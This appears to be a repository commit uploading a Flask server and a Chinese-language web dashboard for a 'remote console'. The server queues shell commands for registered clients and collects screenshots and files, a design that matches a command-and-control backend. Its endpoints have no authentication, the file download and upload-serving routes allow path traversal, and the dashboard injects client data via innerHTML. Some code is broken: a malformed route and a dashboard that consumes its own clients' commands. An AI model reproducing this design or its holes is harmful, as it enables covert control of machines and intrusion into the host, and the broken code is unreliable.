profile114 commited on
Commit
0d394ca
·
verified ·
1 Parent(s): 5acfbe3

Upload 3 files

Browse files
Files changed (3) hide show
  1. app.py +278 -0
  2. requirements.txt +1 -0
  3. templates/index.html +289 -0
app.py ADDED
@@ -0,0 +1,278 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import os
3
+ import sqlite3
4
+ import uuid
5
+ import json
6
+ import time
7
+ from datetime import datetime
8
+ from flask import Flask, request, jsonify, send_file, render_template
9
+ from werkzeug.utils import secure_filename
10
+
11
+ app = Flask(__name__)
12
+ DB_PATH = os.environ.get('DB_PATH', 'data.db')
13
+ UPLOAD_DIR = os.environ.get('UPLOAD_DIR', 'uploads')
14
+
15
+ os.makedirs(f'{UPLOAD_DIR}/screenshots', exist_ok=True)
16
+ os.makedirs(f'{UPLOAD_DIR}/files', exist_ok=True)
17
+
18
+ def init_db():
19
+ conn = sqlite3.connect(DB_PATH)
20
+ c = conn.cursor()
21
+ c.execute('''
22
+ CREATE TABLE IF NOT EXISTS clients (
23
+ id TEXT PRIMARY KEY,
24
+ name TEXT,
25
+ status TEXT DEFAULT 'offline',
26
+ last_seen TEXT,
27
+ version TEXT,
28
+ os TEXT,
29
+ ip TEXT
30
+ )
31
+ ''')
32
+ c.execute('''
33
+ CREATE TABLE IF NOT EXISTS commands (
34
+ id TEXT PRIMARY KEY,
35
+ client_id TEXT,
36
+ type TEXT,
37
+ payload TEXT,
38
+ status TEXT DEFAULT 'pending',
39
+ result TEXT,
40
+ created_at TEXT,
41
+ FOREIGN KEY(client_id) REFERENCES clients(id)
42
+ )
43
+ ''')
44
+ c.execute('''
45
+ CREATE TABLE IF NOT EXISTS files (
46
+ id TEXT PRIMARY KEY,
47
+ client_id TEXT,
48
+ filename TEXT,
49
+ size INTEGER,
50
+ uploaded_at TEXT,
51
+ FOREIGN KEY(client_id) REFERENCES clients(id)
52
+ )
53
+ ''')
54
+ c.execute('''
55
+ CREATE TABLE IF NOT EXISTS configs (
56
+ key TEXT PRIMARY KEY,
57
+ value TEXT,
58
+ updated_at TEXT
59
+ )
60
+ ''')
61
+ conn.commit()
62
+ conn.close()
63
+
64
+ def get_db():
65
+ conn = sqlite3.connect(DB_PATH)
66
+ conn.row_factory = sqlite3.Row
67
+ return conn
68
+
69
+ @app.route('/api/client/register', methods=['POST'])
70
+ def register_client():
71
+ data = request.get_json()
72
+ client_id = data.get('id') or str(uuid.uuid4())
73
+ name = data.get('name', 'Unknown')
74
+ version = data.get('version', '')
75
+ os_info = data.get('os', '')
76
+
77
+ conn = get_db()
78
+ conn.execute('''
79
+ INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
80
+ VALUES (?, ?, 'online', ?, ?, ?, ?)
81
+ ''', (client_id, name, datetime.now().isoformat(), version, os_info, request.remote_addr))
82
+ conn.commit()
83
+ conn.close()
84
+
85
+ return jsonify({'id': client_id, 'name': name, 'status': 'online'})
86
+
87
+ @app.route('/api/client/heartbeat', methods=['POST'])
88
+ def heartbeat():
89
+ data = request.get_json()
90
+ client_id = data.get('client_id')
91
+
92
+ conn = get_db()
93
+ conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?",
94
+ (datetime.now().isoformat(), client_id))
95
+
96
+ cmd = conn.execute('''
97
+ SELECT id, client_id, type, payload, status FROM commands
98
+ WHERE client_id = ? AND status = 'pending'
99
+ ORDER BY created_at ASC LIMIT 1
100
+ ''', (client_id,)).fetchone()
101
+
102
+ conn.commit()
103
+ conn.close()
104
+
105
+ if cmd:
106
+ return jsonify({'commands': [dict(cmd)]})
107
+ return jsonify({'commands': []})
108
+
109
+ @app.route('/api/command', methods=['POST'])
110
+ def send_command():
111
+ data = request.get_json()
112
+ cmd_id = str(uuid.uuid4())
113
+ client_id = data.get('client_id')
114
+ cmd_type = data.get('type', 'shell')
115
+ payload = data.get('payload', '')
116
+
117
+ conn = get_db()
118
+ conn.execute('''
119
+ INSERT INTO commands (id, client_id, type, payload, status, created_at)
120
+ VALUES (?, ?, ?, ?, 'pending', ?)
121
+ ''', (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
122
+ conn.commit()
123
+ conn.close()
124
+
125
+ return jsonify({'id': cmd_id, 'status': 'pending'})
126
+
127
+ @app.route('/api/command/result', methods=['POST'])
128
+ def command_result():
129
+ data = request.get_json()
130
+ cmd_id = data.get('command_id')
131
+ result = data.get('result', '')
132
+ status = data.get('status', 'completed')
133
+
134
+ conn = get_db()
135
+ conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?",
136
+ (result, status, cmd_id))
137
+ conn.commit()
138
+ conn.close()
139
+
140
+ return jsonify({'status': 'ok'})
141
+
142
+ @app.route('/api/screenshot', methods=['POST'])
143
+ def upload_screenshot():
144
+ client_id = request.form.get('client_id')
145
+ if not client_id:
146
+ return jsonify({'error': 'client_id required'}), 400
147
+
148
+ if 'screenshot' not in request.files:
149
+ return jsonify({'error': 'no file'}), 400
150
+
151
+ file = request.files['screenshot']
152
+ if file.filename == '':
153
+ return jsonify({'error': 'empty filename'}), 400
154
+
155
+ ext = os.path.splitext(file.filename)[1] or '.jpg'
156
+ filename = f'{client_id}_{int(time.time())}{ext}'
157
+ filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
158
+ file.save(filepath)
159
+
160
+ conn = get_db()
161
+ conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?",
162
+ (datetime.now().isoformat(), client_id))
163
+ conn.commit()
164
+ conn.close()
165
+
166
+ return jsonify({'url': f'/uploads/screenshots/{filename}'})
167
+
168
+ @app.route('/api/file/upload', methods=['POST'])
169
+ def upload_file():
170
+ client_id = request.form.get('client_id')
171
+ if not client_id:
172
+ return jsonify({'error': 'client_id required'}), 400
173
+
174
+ if 'file' not in request.files:
175
+ return jsonify({'error': 'no file'}), 400
176
+
177
+ file = request.files['file']
178
+ filename = secure_filename(file.filename)
179
+ if filename == '':
180
+ return jsonify({'error': 'empty filename'}), 400
181
+
182
+ save_filename = f'{client_id}_{filename}'
183
+ filepath = f'{UPLOAD_DIR}/files/{save_filename}'
184
+ file.save(filepath)
185
+
186
+ file_id = str(uuid.uuid4())
187
+ conn = get_db()
188
+ conn.execute('''
189
+ INSERT INTO files (id, client_id, filename, size, uploaded_at)
190
+ VALUES (?, ?, ?, ?, ?)
191
+ ''', (file_id, client_id, filename, os.path.getsize(filepath), datetime.now().isoformat()))
192
+ conn.commit()
193
+ conn.close()
194
+
195
+ return jsonify({'id': file_id, 'filename': save_filename})
196
+
197
+ @app.route('/api/file/download', methods=['GET'])
198
+ def download_file():
199
+ filename = request.args.get('filename')
200
+ if not filename:
201
+ return jsonify({'error': 'filename required'}), 400
202
+ return send_file(f'{UPLOAD_DIR}/files/{filename}')
203
+
204
+ @app.route('/api/clients', methods=['GET'])
205
+ def get_clients():
206
+ conn = get_db()
207
+ clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
208
+ conn.close()
209
+ return jsonify([dict(row) for row in clients])
210
+
211
+ @app.route('/api/commands', methods=['GET'])
212
+ def get_commands():
213
+ client_id = request.args.get('client_id')
214
+ if not client_id:
215
+ return jsonify({'error': 'client_id required'}), 400
216
+
217
+ conn = get_db()
218
+ commands = conn.execute('''
219
+ SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC
220
+ ''', (client_id,)).fetchall()
221
+ conn.close()
222
+ return jsonify([dict(row) for row in commands])
223
+
224
+ @app.route('/api/config', methods=['GET'])
225
+ def get_config():
226
+ conn = get_db()
227
+ configs = conn.execute('SELECT key, value FROM configs').fetchall()
228
+ conn.close()
229
+
230
+ config = {
231
+ 'server_url': os.environ.get('SERVER_URL', request.host_url),
232
+ 'poll_interval': 5,
233
+ 'auto_update': True,
234
+ 'latest_version': '1.0.0',
235
+ 'download_url': ''
236
+ }
237
+
238
+ for row in configs:
239
+ if row['key'] == 'latest_version':
240
+ config['latest_version'] = row['value']
241
+ elif row['key'] == 'download_url':
242
+ config['download_url'] = row['value']
243
+
244
+ return jsonify(config)
245
+
246
+ @app.route('/api/config/update', methods=['POST'])
247
+ def update_config():
248
+ data = request.get_json()
249
+
250
+ conn = get_db()
251
+ if data.get('latest_version'):
252
+ conn.execute('''
253
+ INSERT OR REPLACE INTO configs (key, value, updated_at)
254
+ VALUES (?, ?, ?)
255
+ ''', ('latest_version', data['latest_version'], datetime.now().isoformat()))
256
+ if data.get('download_url'):
257
+ conn.execute('''
258
+ INSERT OR REPLACE INTO configs (key, value, updated_at)
259
+ VALUES (?, ?, ?)
260
+ ''', ('download_url', data['download_url'], datetime.now().isoformat()))
261
+ conn.commit()
262
+ conn.close()
263
+
264
+ return jsonify({'status': 'ok'})
265
+
266
+ @app.route('/')
267
+ def index():
268
+ return render_template('index.html')
269
+
270
+ @app.route('/uploads/<path:filename)')
271
+ def serve_upload(filename):
272
+ return send_file(f'{UPLOAD_DIR}/{filename}')
273
+
274
+ if __name__ == '__main__':
275
+ init_db()
276
+ port = int(os.environ.get('PORT', 8080))
277
+ print(f'Server running on port {port}')
278
+ app.run(host='0.0.0.0', port=port, debug=False)
requirements.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ Flask>=2.0.0
templates/index.html ADDED
@@ -0,0 +1,289 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="zh-CN">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>远程控制台</title>
7
+ <style>
8
+ * { margin: 0; padding: 0; box-sizing: border-box; }
9
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; }
10
+ .container { max-width: 1400px; margin: 0 auto; padding: 20px; }
11
+ h1 { text-align: center; margin-bottom: 30px; color: #00d9ff; }
12
+
13
+ .clients-section { margin-bottom: 30px; }
14
+ .section-title { font-size: 1.2em; margin-bottom: 15px; color: #aaa; }
15
+
16
+ .clients-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; }
17
+ .client-card { background: #16213e; border-radius: 10px; padding: 15px; border: 1px solid #0f3460; cursor: pointer; transition: all 0.3s; }
18
+ .client-card:hover { border-color: #00d9ff; transform: translateY(-2px); }
19
+ .client-card.selected { border-color: #00d9ff; background: #1f4068; }
20
+ .client-card.offline { opacity: 0.5; }
21
+
22
+ .client-name { font-size: 1.1em; font-weight: bold; margin-bottom: 8px; }
23
+ .client-info { font-size: 0.85em; color: #888; }
24
+ .client-status { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8em; margin-top: 8px; }
25
+ .status-online { background: #00d9ff22; color: #00d9ff; }
26
+ .status-offline { background: #ff6b6b22; color: #ff6b6b; }
27
+
28
+ .panel { background: #16213e; border-radius: 10px; padding: 20px; border: 1px solid #0f3460; display: none; }
29
+ .panel.active { display: block; }
30
+
31
+ .tabs { display: flex; gap: 10px; margin-bottom: 20px; border-bottom: 1px solid #0f3460; padding-bottom: 10px; }
32
+ .tab { padding: 8px 16px; border-radius: 5px; cursor: pointer; background: transparent; border: none; color: #888; transition: all 0.3s; }
33
+ .tab:hover { color: #00d9ff; }
34
+ .tab.active { background: #00d9ff; color: #1a1a2e; }
35
+
36
+ .command-input { display: flex; gap: 10px; margin-bottom: 15px; }
37
+ .command-input input { flex: 1; padding: 10px; border-radius: 5px; border: 1px solid #0f3460; background: #1a1a2e; color: #eee; }
38
+ .btn { padding: 10px 20px; border-radius: 5px; border: none; cursor: pointer; background: #00d9ff; color: #1a1a2e; font-weight: bold; }
39
+ .btn:hover { opacity: 0.9; }
40
+ .btn-danger { background: #ff6b6b; }
41
+
42
+ .output { background: #0a0a15; border-radius: 5px; padding: 15px; min-height: 200px; max-height: 400px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
43
+
44
+ .screenshot-view { text-align: center; }
45
+ .screenshot-view img { max-width: 100%; border-radius: 5px; }
46
+
47
+ .file-list { margin-top: 15px; }
48
+ .file-item { display: flex; justify-content: space-between; padding: 10px; background: #0a0a15; border-radius: 5px; margin-bottom: 8px; }
49
+
50
+ .no-client { text-align: center; color: #666; padding: 50px; }
51
+ </style>
52
+ </head>
53
+ <body>
54
+ <div class="container">
55
+ <h1>🖥️ 远程控制台</h1>
56
+
57
+ <div class="clients-section">
58
+ <div class="section-title">在线客户端</div>
59
+ <div class="clients-grid" id="clientsGrid"></div>
60
+ </div>
61
+
62
+ <div class="panel" id="controlPanel">
63
+ <div class="tabs">
64
+ <button class="tab active" data-tab="shell">Shell</button>
65
+ <button class="tab" data-tab="screenshot">截图</button>
66
+ <button class="tab" data-tab="files">文件</button>
67
+ <button class="tab" data-tab="webrtc">屏幕直播</button>
68
+ <button class="tab" data-tab="control">远程控制</button>
69
+ </div>
70
+
71
+ <div class="tab-content" id="tab-shell">
72
+ <div class="command-input">
73
+ <input type="text" id="commandInput" placeholder="输入命令...">
74
+ <button class="btn" onclick="sendCommand()">执行</button>
75
+ </div>
76
+ <div class="output" id="commandOutput">等待命令...</div>
77
+ </div>
78
+
79
+ <div class="tab-content" id="tab-screenshot" style="display:none;">
80
+ <button class="btn" onclick="requestScreenshot()">获取截图</button>
81
+ <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
82
+ </div>
83
+
84
+ <div class="tab-content" id="tab-files" style="display:none;">
85
+ <div class="command-input">
86
+ <input type="file" id="fileInput">
87
+ <button class="btn" onclick="uploadFile()">上传</button>
88
+ </div>
89
+ <div class="file-list" id="fileList"></div>
90
+ </div>
91
+
92
+ <div class="tab-content" id="tab-webrtc" style="display:none;">
93
+ <button class="btn" onclick="startScreenShare()">开始屏幕直播</button>
94
+ <button class="btn btn-danger" onclick="stopScreenShare()">停止</button>
95
+ <div id="webrtcView" style="margin-top:15px;"></div>
96
+ </div>
97
+
98
+ <div class="tab-content" id="tab-control" style="display:none;">
99
+ <p style="color:#888;margin-bottom:15px;">移动鼠标或按下按键将同步到客户端</p>
100
+ <div id="remoteView" style="pointer-events:auto;cursor:crosshair;"></div>
101
+ </div>
102
+ </div>
103
+
104
+ <div class="no-client" id="noClient">
105
+ 请选择一个客户端
106
+ </div>
107
+ </div>
108
+
109
+ <script>
110
+ let selectedClient = null;
111
+ let pollInterval = null;
112
+ let webrtcPeer = null;
113
+
114
+ const API_BASE = window.location.origin;
115
+
116
+ async function loadClients() {
117
+ try {
118
+ const resp = await fetch(API_BASE + '/api/clients');
119
+ const clients = await resp.json();
120
+
121
+ const grid = document.getElementById('clientsGrid');
122
+ grid.innerHTML = '';
123
+
124
+ clients.forEach(client => {
125
+ const card = document.createElement('div');
126
+ card.className = 'client-card' + (client.status === 'offline' ? ' offline' : '');
127
+ card.onclick = () => selectClient(client);
128
+
129
+ const lastSeen = new Date(client.last_seen).toLocaleString();
130
+ card.innerHTML = `
131
+ <div class="client-name">${client.name || 'Unknown'}</div>
132
+ <div class="client-info">ID: ${client.id}</div>
133
+ <div class="client-info">Version: ${client.version || 'N/A'}</div>
134
+ <div class="client-info">OS: ${client.os || 'N/A'}</div>
135
+ <div class="client-status ${client.status === 'online' ? 'status-online' : 'status-offline'}">${client.status}</div>
136
+ <div class="client-info">最后活跃: ${lastSeen}</div>
137
+ `;
138
+ grid.appendChild(card);
139
+ });
140
+ } catch(e) {
141
+ console.error('Load clients error:', e);
142
+ }
143
+ }
144
+
145
+ function selectClient(client) {
146
+ selectedClient = client;
147
+
148
+ document.querySelectorAll('.client-card').forEach(c => c.classList.remove('selected'));
149
+ event.target.closest('.client-card').classList.add('selected');
150
+
151
+ document.getElementById('controlPanel').classList.add('active');
152
+ document.getElementById('noClient').style.display = 'none';
153
+
154
+ startPolling();
155
+ }
156
+
157
+ function startPolling() {
158
+ if (pollInterval) clearInterval(pollInterval);
159
+ pollInterval = setInterval(pollCommands, 2000);
160
+ }
161
+
162
+ async function pollCommands() {
163
+ if (!selectedClient) return;
164
+
165
+ try {
166
+ const resp = await fetch(API_BASE + '/api/client/heartbeat', {
167
+ method: 'POST',
168
+ headers: {'Content-Type': 'application/json'},
169
+ body: JSON.stringify({client_id: selectedClient.id})
170
+ });
171
+ const data = await resp.json();
172
+
173
+ if (data.commands && data.commands.length > 0) {
174
+ data.commands.forEach(cmd => executeCommand(cmd));
175
+ }
176
+ } catch(e) {
177
+ console.error('Poll error:', e);
178
+ }
179
+ }
180
+
181
+ async function executeCommand(cmd) {
182
+ const output = document.getElementById('commandOutput');
183
+
184
+ switch(cmd.type) {
185
+ case 'shell':
186
+ output.textContent = '执行: ' + cmd.payload + '\n';
187
+ break;
188
+ case 'screenshot':
189
+ requestScreenshot();
190
+ break;
191
+ case 'file_list':
192
+ loadFileList();
193
+ break;
194
+ }
195
+
196
+ await fetch(API_BASE + '/api/command/result', {
197
+ method: 'POST',
198
+ headers: {'Content-Type': 'application/json'},
199
+ body: JSON.stringify({command_id: cmd.id, status: 'executed'})
200
+ });
201
+ }
202
+
203
+ async function sendCommand() {
204
+ const input = document.getElementById('commandInput');
205
+ const cmd = input.value.trim();
206
+ if (!cmd || !selectedClient) return;
207
+
208
+ await fetch(API_BASE + '/api/command', {
209
+ method: 'POST',
210
+ headers: {'Content-Type': 'application/json'},
211
+ body: JSON.stringify({
212
+ client_id: selectedClient.id,
213
+ type: 'shell',
214
+ payload: cmd
215
+ })
216
+ });
217
+
218
+ input.value = '';
219
+ }
220
+
221
+ async function requestScreenshot() {
222
+ if (!selectedClient) return;
223
+
224
+ await fetch(API_BASE + '/api/command', {
225
+ method: 'POST',
226
+ headers: {'Content-Type': 'application/json'},
227
+ body: JSON.stringify({
228
+ client_id: selectedClient.id,
229
+ type: 'screenshot',
230
+ payload: ''
231
+ })
232
+ });
233
+
234
+ setTimeout(loadScreenshot, 1000);
235
+ }
236
+
237
+ async function loadScreenshot() {
238
+ const view = document.getElementById('screenshotView');
239
+ view.innerHTML = '<img src="' + API_BASE + '/api/clients/' + selectedClient.id + '/screenshot?t=' + Date.now() + '">';
240
+ }
241
+
242
+ async function uploadFile() {
243
+ const input = document.getElementById('fileInput');
244
+ if (!input.files[0] || !selectedClient) return;
245
+
246
+ const formData = new FormData();
247
+ formData.append('file', input.files[0]);
248
+ formData.append('client_id', selectedClient.id);
249
+
250
+ await fetch(API_BASE + '/api/file/upload', {
251
+ method: 'POST',
252
+ body: formData
253
+ });
254
+
255
+ alert('文件已上传');
256
+ }
257
+
258
+ function loadFileList() {
259
+ document.getElementById('fileList').innerHTML = '<div style="color:#888;">等待文件列表...</div>';
260
+ }
261
+
262
+ function startScreenShare() {
263
+ const view = document.getElementById('webrtcView');
264
+ view.innerHTML = '<p style="color:#888;">屏幕直播功能开发中...</p>';
265
+ }
266
+
267
+ function stopScreenShare() {
268
+ document.getElementById('webrtcView').innerHTML = '';
269
+ }
270
+
271
+ document.querySelectorAll('.tab').forEach(tab => {
272
+ tab.onclick = () => {
273
+ document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
274
+ document.querySelectorAll('.tab-content').forEach(c => c.style.display = 'none');
275
+
276
+ tab.classList.add('active');
277
+ document.getElementById('tab-' + tab.dataset.tab).style.display = 'block';
278
+ };
279
+ });
280
+
281
+ document.getElementById('commandInput').onkeypress = (e) => {
282
+ if (e.key === 'Enter') sendCommand();
283
+ };
284
+
285
+ loadClients();
286
+ setInterval(loadClients, 5000);
287
+ </script>
288
+ </body>
289
+ </html>